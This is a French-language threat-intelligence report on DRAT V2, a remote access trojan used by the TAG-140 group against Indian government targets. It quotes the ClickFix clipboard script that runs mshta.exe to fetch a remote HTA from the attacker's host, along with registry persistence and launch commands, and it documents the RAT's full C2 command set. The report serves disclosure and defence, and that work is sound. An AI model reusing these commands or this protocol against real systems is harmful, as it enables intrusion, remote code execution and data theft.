DRAT V2 : un DRAT mis à jour apparaît dans l'arsenal du TAG-140

DRAT V2 : un DRAT mis à jour apparaît dans l'arsenal du TAG-140

logo Insikt Group

Executive Summary

Au cours d'une enquête sur une récente campagne TAG-140 visant des organisations gouvernementales indiennes, Insikt Group a identifié une variante modifiée du cheval de Troie d'accès à distance (RAT) DRAT, que nous avons baptisée DRAT V2. TAG-140 présente des similitudes avec SideCopy, un sous-groupe opérationnel considéré comme un sous-cluster ou une filiale opérationnelle de Transparent Tribe (également suivi sous les noms APT36, ProjectM ou MYTHIC LEOPARD). TAG-140 a constamment démontré des progrès itératifs et une grande diversité dans son arsenal de logiciels malveillants et ses techniques de diffusion. Cette dernière campagne, qui a usurpé l'identité du ministère indien de la Défense via un portail de communiqués de presse cloné, marque un changement subtil mais notable dans l'architecture des logiciels malveillants et dans les fonctionnalités de commande et de contrôle (C2).

Le déploiement de DRAT V2 reflète le perfectionnement continu de l'outil d'accès à distance de TAG-140, qui est passé d'une version de DRAT basée sur .NET à une nouvelle variante compilée en Delphi. Ces deux versions font partie des nombreux RAT utilisés par le groupe, tels que CurlBack, SparkRAT, AresRAT, Xeno RAT, AllaKore et ReverseRAT, ce qui indique un modèle d'utilisation rotative des malwares. DRAT V2 met à jour son protocole C2 personnalisé basé sur TCP, initié par le serveur, et étend ses capacités fonctionnelles, y compris l'exécution de commandes shell arbitraires et une interaction améliorée avec le système de fichiers.

L'analyse de la chaîne d'infection indique que l'accès initial a été obtenu grâce à une technique d'ingénierie sociale de type ClickFix. Les victimes ont été incitées à exécuter un script malveillant via mshta.exe. ce qui a conduit à l'exécution du chargeur BroaderAspect .NET, précédemment utilisé par TAG-140. BroaderAspect établit la persistance, puis procède à l'installation et à l'exécution de DRAT V2.

Insikt Group attribue cette activité à TAG-140 avec une confiance modérée basée sur le chevauchement de domaines, la lignée des malwares et les caractéristiques de l'infrastructure. Les améliorations apportées par DRAT V2 suggèrent une augmentation probable de la capacité de TAG-140 à effectuer une post-exploitation sur mesure et à se déplacer latéralement dans les réseaux des victimes. Son émergence est donc un indicateur pertinent de la maturité du métier de l'acteur malveillant et du ciblage stratégique des institutions gouvernementales et de défense de l'Inde.

Key Findings

Background

TAG-140 est un groupe d'acteurs malveillants qui recoupe le groupe Sidecopy, un groupe de menaces persistantes avancées (APT) soupçonné d'être lié à l'État pakistanais, évalué comme étant un sous-groupe ou une filiale opérationnelle de Transparent Tribe (également suivi sous les noms APT36, ProjectM ou MYTHIC Leopard). Actif depuis au moins 2019, TAG-140 cible principalement des entités indiennes. Ses activités récentes se sont étendues au-delà des secteurs traditionnels du gouvernement, de la défense, du maritime et de l'enseignement supérieur pour inclure désormais des organisations affiliées aux ministères des chemins de fer, du pétrole et du gaz, et des affaires étrangères du pays.

Le groupe a démontré (1, 2, 3) une évolution constante de ses techniques : utilisation de campagnes de spearphishing, utilisation d'applications HTML (HTA) ou de packages Microsoft Installer (MSI) pour la distribution, exploitation de vulnérabilités logicielles (par exemple, WinRAR) et utilisation de nombreux RAT différents tels que CurlBack, SparkRAT, AresRAT, Xeno RAT, AllaKore, ReverseRAT et DRAT. Leurs chaînes d'infection ciblent généralement les environnements Windows et Linux.

Insikt Group a analysé des artefacts provenant d'une récente campagne ClickFix usurpant l'identité du ministère indien, que nous avons attribuée aux acteurs malveillants TAG-140. TAG-140 a créé un site Web contrefait imitant le portail officiel des communiqués de presse du ministère indien de la Défense à l'aide du domaine malveillant email[.]gov[.]in[.]drdosurvey[.]info, qui ressemble fortement au site Web légitime du gouvernement mod[.]gov[.]in. (urlscan.io). Le site web cloné reproduisait la structure et la mise en page du portail authentique, répertoriant les communiqués de presse publiés entre septembre 2023 et avril 2025. Cependant, seul le lien pour mars 2025 était actif.

image1.png
Figure 1: Portail cloné du ministère de la Défense (Source : Hunt.io)

En cliquant sur le lien actif « Mars 2025 », une attaque d'ingénierie sociale de type ClickFix a été déclenchée. Insikt Group a mené une analyse supplémentaire de la chaîne d'infection TAG-140 Windows et a déterminé qu'elle était similaire à une chaîne d'infection signalée par Seqrite Labs dans ses recherches sur l'activité TAG-140, identifiée fin 2024. Notre analyse de la chaîne d'infection (figure 2) révèle que la charge utile finale est une nouvelle variante de DRAT basée sur Delphi (appelée DRAT V2). Auparavant, DRAT était développé en .NET et a été attribué pour la première fois à l'activité SideCopy en 2023. La variante mise à jour comprend de nouvelles fonctionnalités de commande et un protocole C2 légèrement modifié.

image5.png
Figure 2: Chaîne d'infection TAG-140 supprimant DRAT V2 (Source : Recorded Future)

1. L'utilisateur est redirigé vers l'URL ci-dessous (urlscan.io). Bien que nous ne connaissions pas le mécanisme de diffusion utilisé, d'après les tactiques, techniques et procédures (TTP) de TAG-140, il s'agit probablement d'un e-mail de spearphishing incitant l'utilisateur à cliquer sur le lien. L'utilisateur est ensuite invité à cliquer sur le lien « Sortie en mars 2025 ». À partir d'un ordinateur Windows, cliquer sur ce lien redirige l'utilisateur vers l'identifiant de ressource uniforme (URI) /captcha/windows.php.

hxxps://email[.]gov[.]in[.]drdosurvey[.]info/content/press-releases-ministry-defence-0.html

2. Le site web redirigé (urlscan.io) affiche l'avertissement « **Divulgation - À usage officiel uniquement (FOUO)** » et invite l'utilisateur à cliquer sur « Continuer ».

3. En cliquant sur « Continuer », vous exécutez un script JavaScript qui copie la commande malveillante ci-dessous dans le presse-papiers et invite l'utilisateur à la coller et à l'exécuter dans un interpréteur de commandes. La commande utilise mshta.exe pour récupérer et exécuter un script distant (index.php/sysinte.hta). à partir de l'infrastructure de TAG-140, _trade4wealth[.]in_.

const calcPath = "C:\\Windows\\System32\\mshta.exe
hxxps://trade4wealth[.]in/admin/assets/css/default/index.php";
navigator.clipboard.writeText(calcPath)

4. L'exécution de index.php/sysinte.hta crée et exécute le chargeur BroaderAspect, signalé pour la première fois par Seqrite Labs. BroaderAspect effectue les actions suivantes :

a. Téléchargez et ouvrez le document leurre survey.pdf à partir de l'URL suivante :

hxxps://trade4wealth[.]in/admin/assets/css/Vertical-layout-design/01/survey.pdf

b. Crée et exécute un fichier batch Windows nommé noway.bat, qui contient une commande permettant d'établir la persistance de DRAT v2 en ajoutant une entrée de registre à un emplacement de démarrage automatique défini par Microsoft.

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Edgre" /t REG_SZ /F /D "cmd /C start C:\Users\Public\USOShared-1de48789-1285\zuidrt.pdf

c. Télécharge et décompresse la charge utile DRAT V2 à partir des URL suivantes :

Initial Request: hxxps://trade4wealth[.]in/admin/assets/css/Vertical-layout-design/02
Redirect: hxxps://trade4wealth[.]in/admin/assets/css/Vertical-layout-design/02/ayty.ert

d. Exécutez DRAT V2 à l'aide de la commande suivante :

C:\Windows\system32\cmd.exe /c cmd /C start
C:\Users\Public\USOShared-1de48789-1285\zuidrt.pdf

Insikt Group attribue cette activité à TAG-140 avec un niveau de confiance modéré sur la base des aspects suivants :

  1. L'usurpation d'identité et le ciblage d'organisations de défense indiennes, telles que le ministère indien de la Défense, correspondent aux cibles connues du programme TAG-140.
  2. L'utilisation du chargeur BroaderAspect et du DRAT (dans l'une ou l'autre de ses variantes), qui semblent être exclusivement utilisés par TAG-140 (1, 2), correspond aux TTP de TAG-140.
  3. Le domaine email[.]gov[.]in[.]drdosurvey[.]info recoupe d'autres attaques APT36 (1, 2) et utilise Namecheap comme hébergeur. Nous avons observé à plusieurs reprises que TAG-140 utilise couramment Namecheap, ainsi que GoDaddy et Hostinger (1, 2, 3, 4).
  4. En plus de DRAT V2, TAG-140 a précédemment utilisé des malwares basés sur Delphi, tels que le RAT AllaKore open source.

Analyse technique

DRAT V2 est un RAT léger développé en Delphi et représente une évolution de la variante antérieure basée sur .NET, attribuée pour la première fois à TAG-140 en 2023. DRAT V2 introduit plusieurs mises à jour par rapport à son prédécesseur, y compris :

La Figure 3 donne un aperçu général de DRAT V2.

image10.png
Figure 3: Résumé DRAT V2 (Source : Recorded Future)

DRAT V2 prend en charge un ensemble de commandes permettant aux opérateurs du TAG-140 d'effectuer un large éventail d'interactions avec des hôtes compromis. Une fois la communication établie, le malware attend passivement les instructions du serveur C2. Les opérations prises en charge comprennent la reconnaissance du système, comme la collecte du nom d'utilisateur, de la version du système d'exploitation, de l'heure du système et du répertoire de travail actuel, ainsi que la validation de la connectivité et l'énumération des systèmes de fichiers et des répertoires locaux.

Au-delà de la reconnaissance, DRAT V2 facilite un engagement plus actif avec l'environnement cible. Il permet des transferts de fichiers dans les deux sens entre l'hôte et l'infrastructure C2, ce qui permet aux opérateurs de télécharger des charges utiles supplémentaires ou d'exfiltrer des données. En outre, il prend en charge l'exécution de fichiers locaux et de commandes arbitraires de l'interpréteur de commandes Windows, en renvoyant la sortie au C2. Ces fonctions permettent à TAG-140 d'exercer un contrôle persistant et flexible sur le système infecté et de mener des activités de post-exploitation automatisées et interactives sans nécessiter le déploiement d'outils auxiliaires de malwares. Figure 4 fournit un résumé des capacités de DRAT V2.

image7.png
Figure 4: Matrice des capacités DRAT V2 (Source : Recorded Future)

Commandes DRAT V2

DRAT V2 continue d'utiliser une interface de commande qui utilise un protocole TCP personnalisé, basé sur du texte et initié par le serveur, pour prendre en charge les capacités de contrôle à distance sur un hôte compromis. L'exécution de commandes, la manipulation de fichiers et la reconnaissance du système sont possibles grâce à un format structuré.

Le protocole de commande DRAT V2 se distingue par l'utilisation des caractères tilde (~) et barre verticale (|) comme délimiteurs. Après avoir établi la connectivité avec son infrastructure C2, le malware passe à l'état passif et attend les instructions du serveur. Ces instructions couvrent neuf types de commandes distinctes(tableau 1), englobant des capacités telles que la reconnaissance de l'hôte, la gestion des fichiers et l'exécution directe. Chaque commande suit un format déterministe, permettant à l'opérateur d'orchestrer les actions post-compromission de manière cohérente et avec une faible surcharge.

DRAT V2 Command
Capacité
Description
initial_infotonas
Informations système
Cette commande lance une reconnaissance au niveau du système en demandant des informations sur l'environnement hôte, notamment le nom d'utilisateur, la version du système d'exploitation, l'horodatage et le répertoire de travail. La réponse est structurée en sept domaines.
sup
Test d'écho/de connectivité
Cette commande est utilisée pour vérifier la communication active avec l'hôte compromis.
lst_of_sys_drvs
Lister les volumes
Cette commande permet à DRAT V2 d'énumérer les lecteurs logiques accessibles sur la machine cible.
here_are_dir_details
Lister les répertoires et fichiers avec des informations
Cette commande récupère des métadonnées structurées pour les répertoires et fichiers, y compris le nom, la taille, l'horodatage et le chemin. L'implémentation contient notamment une faille dans laquelle le chemin d'accès complet est concaténé de manière incorrecte avec les entrées suivantes, ce qui peut avoir un impact sur l'analyse des opérateurs.
filina_for_down
Taille du fichier
Cette commande permet de récupérer la taille en octets d'un fichier spécifié.
file_upl
Chargement de fichiers
Cette commande prend en charge le transfert de fichiers du C2 vers l'hôte cible. La commande requiert la spécification du chemin d'accès et de la taille du fichier, ce qui facilite la mise en place de la charge utile ou le déploiement d'outils secondaires.
this_filina_exec
Exécution de fichier
Cette commande exécute un fichier spécifié sur le système hôte. Cette fonctionnalité permet la livraison de charges utiles supplémentaires ou l'exécution de fichiers binaires existants dans le système de fichiers local.
fil_down_confirmina
Téléchargement de fichier
Cette commande permet l'exfiltration de fichiers du système de la victime vers le serveur C2. Contrairement à d'autres réponses, il n'y a pas d'en-tête de réponse et seul le contenu du fichier brut est envoyé au C2.
exec_this_comm
Exécution de commande
Cette commande permet l'exécution d'une commande shell arbitraire sur l'hôte infecté. Cela apporte une grande flexibilité aux opérations interactives, en permettant l'attribution de tâches en temps réel et des activités post-exploitation à la demande.

Table 1: Commandes DRAT V2 (Source : Recorded Future)

Ce jeu de commandes permet au TAG-140 de répondre à une série d'objectifs post-exploitation, notamment la reconnaissance de l'hôte, le stockage des données et les éventuels mouvements latéraux. En particulier, DRAT V2 étend la fonctionnalité de son prédécesseur en incorporant la prise en charge de l'exécution de commandes arbitraires. L'annexe B fournit une description détaillée de chaque commande, y compris les paramètres.

La figure 5 illustre un exemple de communication C2 entre un hôte infecté et le C2. Dans cet exemple, le serveur C2 envoie la commande « exec_this_comm~whoami », qui indique à l'hôte infecté d'exécuter la commande « whoami ». L'hôte infecté répond alors avec le résultat de la commande.

image11.png
Figure 5: Paquets de requête et de réponse d'exécution de commande DRAT V2 enregistrés et affichés par Wireshark (Source : Recorded Future)

DRAT vs DRAT V2

Cette analyse comparative met en évidence les différences techniques et opérationnelles entre le DRAT original et le DRAT V2. Le changement de plateforme de développement marque une transition architecturale importante qui affecte la façon dont les malwares sont compilés, exécutés et potentiellement détectés. Bien que les deux variantes conservent des fonctionnalités de base similaires à celles des RAT légers, DRAT V2 apporte des améliorations significatives à sa structure de commande, à ses techniques de dissimulation C2 et à son protocole de communication, tout en minimisant l'utilisation de la dissimulation des chaînes. Ces adaptations reflètent probablement les efforts continus du TAG-140 pour faire évoluer son outillage afin d'améliorer l'évasion, la modularité et la flexibilité des opérations de post-exploitation.

Variation de l'en-tête de commande

Bien que les deux variantes de DRAT implémentent des commandes similaires pour l'administration à distance, chaque version utilise des conventions de nommage distinctes pour les en-têtes de commande. Par exemple, la commande d'informations système de DRAT est intitulée getInformitica, tandis que DRAT V2 utilise initial_infotonas. DRAT V2 a également introduit une nouvelle commande, exec_this_comm, qui permet l'exécution de commandes shell arbitraires sur l'hôte infecté, une amélioration qui n'était pas présente dans la version originale de DRAT et qui témoigne de capacités post-exploitation étendues. Le tableau comparatif ci-dessous (tableau 2) présente une ventilation détaillée, ligne par ligne, des en-têtes de requête et de réponse dans les deux versions. Dans ce tableau, les correspondances de commandes surlignées en vert indiquent les commandes qui sont conservées dans les deux variantes, tandis que les éléments surlignés en jaune représentent les nouveaux ajouts exclusifs à DRAT V2.

Commande
En-tête de commande DRAT
En-tête de commande DRAT V2
Demande d'information système
getInformitica
initial_infotonas
Réponse d'information système
informiticaBack|
my_ini_info|
Demande de test d'écho/de connectivité
sup
sup
Réponse du test d'écho/de connectivité
supconfirm
hello_frm_me
Demande de liste des volumes
drivesList
lst_of_sys_drvs
Réponse de la liste des volumes
drivesList
lst_of_sys_drvs
Répertorier les répertoires et les fichiers avec des informations
Demande
enterPath
here_are_dir_details
Répertorier les répertoires et les fichiers avec des informations
Réponse
enterPath
here_are_dir_details
Demande de taille de fichier
fdl
filina_for_down
Réponse de la taille du fichier
fInfo
fileina_detailwa
Demande de chargement de fichier
fup
file_upl
Réponse de chargement de fichier
fupConfirm
file_upl_confrm
Demande d'exécution de fichier
fupexec
this_filina_exec
Réponse d'exécution de fichier
fupexecConfirm
fileExecuted
file_exec_confirm
Demande de téléchargement de fichier
fdlConfirm
fil_down_confirmina
Demande d'exécution de commande
exec_this_comm
Réponse d'exécution de commande
comm_resultwa
Réponse de téléchargement de fichier
[Contenu du fichier]
[Contenu du fichier]

Table 2: Comparaison des commandes entre DRAT et DRAT V2 (Source : Recorded Future)

Format du texte dans les communications C2

Les deux versions exploitent des protocoles de communication textuels pour les interactions C2. Cependant, leurs exigences d'encodage diffèrent : le DRAT V2 accepte les commandes en Unicode et en ASCII, mais répond toujours en ASCII, alors que le DRAT d'origine impose l'Unicode en entrée et en sortie (Figure 6).

image8.png
Figure 6: Demande et réponse DRAT V1 list volumes enregistrées et affichées par Wireshark (Source : Recorded Future)

Différences entre les informations du système

La réponse du système d'information des deux versions présente de nombreuses similitudes, mais plusieurs différences incluent le texte en Unicode, des en-têtes de requête de commande différentes et WinDefender au lieu de win-def, tous deux codés en dur. Enfin, le format de la version Windows dans la réponse des informations système varie entre DRAT et DRATV2. DRAT renvoie simplement la valeur de la clé de registre Software\Microsoft\Windows NT\CurrentVersion\ProductName, tandis que DRAT V2 récupère la version de Windows à l'aide de l'appel API GetVersionExW() et renvoie une chaîne personnalisée encodée en Base64 dans le code source. Le tableau 3 présente les différences entre les deux commandes.

Composants d'informations système
Réponse d'information du système DRAT
Réponse aux informations du système DRAT V2
Séparateur de commande
Les données après le caractère ~ de la requête entrante
Les données après le caractère ~ de la requête entrante
N.A Field
« N.A » codé en dur
« N.A » codé en dur
Champ du nom d'utilisateur
Nom d'utilisateur récupéré via SystemInformation.Username()
Nom d'utilisateur récupéré via le système : Sysutils : GetEnvironmentVariable("USERNAME")
Champ de version Windows
La version Windows récupérée par : Software\Microsoft\Windows NT\CurrentVersion\ProductName

Exemple : Windows 10 Pro

La version Windows récupérée par GetVersionExW() est traduite en l'une des valeurs suivantes :

  • V2luZG93cyAxMSBPUw==
    • Windows 11 OS
  • V2luZG93cyAxMCBPUw==
    • Windows 10 OS
  • V2luZG93cyA4IG9yIDEw
    • Windows 8 ou 10
  • V2luZG93cyA3IE9T
    • Windows 7 OS
  • VW5rbm93biBXaW5kb3dzIFZlcnNpb24=
    • Version de Windows inconnue
Champ d'identification
Win Defender codé en dur
Définition de victoire codée en dur
Champ horodateur
Date et heure actuelles au format JJ/MM/AAAA HH:MM:SS AM/PM, récupérées via DateTime.Now.ToString()
Date et heure actuelles au format AAAA-MM-JJ HH:MM:SS, récupérées via SysUtils::Now()
Champ de chemin de travail
Chemin complet du répertoire de travail
Chemin complet du répertoire de travail

Table 3: Champs de demande et de réponse d'informations système DRAT vs DRAT V2 (Source : Recorded Future)

Différences dans l'obfuscation C2

Dans les deux variantes de DRAT, les informations C2 sont encodées en Base64. DRAT encode directement l'adresse IP C2, tandis que DRAT V2 modifie son approche de l'obscurcissement C2 en ajoutant l'une des chaînes suivantes à l'adresse IP avant l'encodage en Base64 :

Exemple d'adresse IP C2 encodée avec préfixe : PD48Pjw+PD48Pjw+PD48Pjw+PD48PjE4NS4xMTcuOTAuMjEy
Exemple d'adresse IP C2 décodée avec préfixe : <> < > < > < > < > < > < > < > < > < > < > 185.117.90.212

Ces motifs ajoutés servent probablement de contrôles d'intégrité rudimentaires ou permettent d'éviter un décodage trivial par les analystes et les outils automatisés.

Dissimulation de chaîne

Les stratégies de dissimulation des chaînes diffèrent également entre les variantes. DRAT utilise un schéma plus étendu, employant un algorithme de substitution pour encoder à la fois les commandes et les chaînes opérationnelles. DRAT V2, quant à lui, dissimule sélectivement les chaînes, telles que la version de Windows et les informations C2, mais laisse les en-têtes de commande en clair. Cette approche de dissimulation limitée dans DRAT V2 pourrait représenter un compromis entre la furtivité et la fiabilité de l'analyse.

Détections

image6.png Détections
Snort image3.png
  • Détecter la communication C2 sortante du malware DRAT : utilisez ces règles Snort pour détecter la communication C2 sortante DRAT et DRAT V2.
Sigma image4.png
  • Détecter la persistance du TAG-140 via une touche d'exécution : utilisez cette règle Sigma pour détecter les attaques TAG-140 qui établissent la persistance en créant une clé d'exécution de registre via un fichier batch lorsque le fichier batch ne contient pas les guillemets de fin de la commande.
YARA image12.png
  • Détectez le chargeur BroaderAspect utilisé par TAG-140 : utilisez cette règle YARA pour détecter les fichiers contenant des chaînes associées au malware BroaderAspect, notamment les extensions de fichiers .pdf et .bat et les identifiants spécifiques des malwares.
  • Détectez les variantes DotNet et Delphi du malware DRAT utilisé par le TAG-140 : utilisez ces règles YARA pour détecter les DRAT et DRAT V2

Mitigations

Outlook

Le déploiement de DRAT V2 par TAG-140 est conforme à la pratique de longue date du groupe consistant à maintenir une suite étendue et interchangeable de chevaux de Troie d'accès à distance. Cette diversification continue complique les activités d'attribution, de détection et de surveillance. DRAT V2 semble être un autre ajout modulaire plutôt qu'une évolution définitive, renforçant la probabilité que TAG-140 continue de faire tourner les RAT d'une campagne à l'autre pour masquer les signatures et maintenir la flexibilité opérationnelle.

Malgré ces difficultés, la chaîne d'infection DRAT V2 utilise peu de techniques d'évasion défensive ou d'anti-analyse. L'absence de dissimulation du code, de contournement du bac à sable ou de comportements complexes du chargeur augmente la possibilité d'une détection précoce grâce à la télémétrie de base et à l'analyse statique. Les équipes de sécurité devraient s'attendre à poursuivre leurs expériences en matière d'outils de malware et de chaînes d'infection. La surveillance de l'infrastructure de spearphishing, de la réutilisation des chargeurs et des indicateurs comportementaux, plutôt que des familles de malwares spécifiques, sera essentielle pour maintenir la visibilité de l'activité du TAG-140.

Annexe A : Indicateurs de compromission

DRAT V2

ce98542131598b7af5d8aa546efe8c33a9762fb70bff4574227ecaed7fff8802
0d68012308ea41c6327eeb73eea33f4fb657c4ee051e0d40a3ef9fc8992ed316
c73d278f7c30f8394aeb2ecbf8f646f10dcff1c617e1583c127e70c871e6f8b7

DRAT

830cd96aba6c328b1421bf64caa2b64f9e24d72c7118ff99d7ccac296e1bf13d
c328cec5d6062f200998b7680fab4ac311eafaf805ca43c487cda43498479e60

DRAT V2 C2

185[.]117[.]90[.]212:7771
154[.]38[.]175[.]83:3232
178[.]18[.]248[.]36:6372

DRAT C2

38[.]242[.]149[.]89:61101

Annexe B : paramètres de commande et réponse du DRAT V2

Informations système

La commande initial_infotonas lance une reconnaissance au niveau du système en demandant des informations sur l'environnement hôte, notamment le nom d'utilisateur, la version du système d'exploitation, l'horodatage et le répertoire de travail. La réponse est structurée en sept champs.

En-tête de requête d'informations système
Paramètres
Description du paramètre
initial_infotonas
1
Inconnu : des numéros séquentiels ont été observés
En-tête de réponse aux informations du système
Paramètres
Description du paramètre
my_ini_info|
7
1 : Les données après le caractère ~ de la requête entrante
2 : Chaîne « N.A » codée en dur
3 : Nom d'utilisateur récupéré via Système :​:​Sysutils :​:​GetEnvironmentVariable("USERNAME")

4 : Version Windows récupérée par GetVersionExW(), traduite en l'une des valeurs suivantes, qui sont encodées en Base64 dans le code source :

  • Windows 11 OS
  • Windows 10 OS
  • Windows 8 ou 10
  • Windows 7 OS
  • Version de Windows inconnue
5 : Chaîne codée en dur win-def
6 : Date et heure actuelles au format AAAA-MM-JJ HH:MM:SS, récupérées via System::Sysutils::Now()
7 : Chemin complet du répertoire de travail

Test d'écho/de connectivité

La commande sup est utilisée pour vérifier la communication active avec l'hôte compromis.

En-tête de requête de test d'écho/de connectivité
Paramètres
Description du paramètre
sup
0
En-tête de réponse d'exécution de commande
Paramètres
Description du paramètre
hello_frm_me
0

Lister les volumes

La commande lst_of_sys_drvs permet à DRAT V2 d'énumérer les lecteurs logiques accessibles sur la machine cible.

En-tête de demande de volumes de liste
Paramètres
Description du paramètre
lst_of_sys_drvs
0
En-tête de réponse de la liste des volumes
Paramètres
Description du paramètre
lst_of_sys_drvs
1
Liste des volumes au format suivant :
[lettre du volume
1]:\1000000\r\n[lettre du volume
2]1000000\r\n[lettre du volume
n]1000000\r\

Liste des répertoires avec attributs

La commande here_are_dir_details récupère les métadonnées structurées des répertoires et des fichiers, notamment le nom, la taille, l'horodatage et le chemin d'accès. Il convient de noter que la mise en œuvre comporte une faille où le chemin complet s'enchaîne de manière incorrecte avec les entrées suivantes, ce qui peut avoir un impact sur l'analyse syntaxique de l'opérateur.

En-tête de demande de répertoires de liste
Paramètres
Description du paramètre
here_are_dir_details
1
Chemin du répertoire
En-tête de réponse de répertoires de liste
Paramètres
Description du paramètre
here_are_dir_details
1

Liste des sous-répertoires et des fichiers dotés d'attributs au format suivant, séparés par « + » :

  • Répertoire ou nom de fichier
  • Taille du fichier en octets ou "N/A" pour les répertoires
  • Horodatage du fichier à l'aide de Sysutils::FileAge ou la valeur par défaut 1899-12-29 00:00:00 pour les répertoires.
  • Chemin d'accès complet

Taille du fichier

La commande filina_for_down permet de récupérer la taille en octets d'un fichier spécifié.

En-tête de demande de taille de fichier
Paramètres
Description du paramètre
filina_for_down
1
Chemin d'accès au fichier
En-tête de réponse de la taille du fichier
Paramètres
Description du paramètre
fileina_detailwa
1
Taille en octets du fichier

Chargement de fichiers

La commande file_upl~ permet de transférer des fichiers du C2 vers l'hôte cible. La commande nécessite la spécification du chemin d'accès au fichier et de sa taille, ce qui facilite la mise en place de la charge utile ou le déploiement d'outils secondaires.

En-tête de demande de chargement de fichier
Paramètres
Description du paramètre
fil_upl~
2
Chemin d'accès et taille du fichier
En-tête de réponse de chargement de fichier
Paramètres
Description du paramètre
fil_upl_confrm
0

Exécution de fichier

La commande this_filina_exec exécute un fichier spécifié sur le système hôte. Cette fonctionnalité permet la livraison de charges utiles supplémentaires ou l'exécution de fichiers binaires existants dans le système de fichiers local.

En-tête de demande d'exécution de fichier
Paramètres
Description du paramètre
this_filina_exec
1
Chemin complet du fichier à exécuter
Réponse d'exécution de fichier
file_exec_confirm

Téléchargement de fichier

La commande fil_down_confirmina permet l'exfiltration de fichiers du système de la victime vers le serveur C2. Contrairement aux autres réponses, il n'y a pas d'en-tête de réponse, et seul le contenu brut du fichier est envoyé au C2.

En-tête de demande de téléchargement de fichier
Paramètres
Description du paramètre
fil_down_confirmina
1
Chemin complet du fichier à télécharger
En-tête de réponse de téléchargement de fichier
Paramètres
Description du paramètre
N’a pas d’en-tête
0
Contenu brut du fichier

Exécution de commande

La commande exec_this_comm permet l'exécution de commandes shell arbitraires sur l'hôte infecté. Cela ajoute une flexibilité considérable aux opérations interactives, permettant l'attribution de tâches en temps réel et des activités post-exploitation à la demande.

En-tête de requête d'exécution de commande
Paramètres
Description du paramètre
exec_this_comm
1
Commande Windows
En-tête de réponse d'exécution de commande
Paramètres
Description du paramètre
comm_resultwa
1
Réponse à une commande Windows demandée

To read the entire analysis, click here to download the report as a PDF.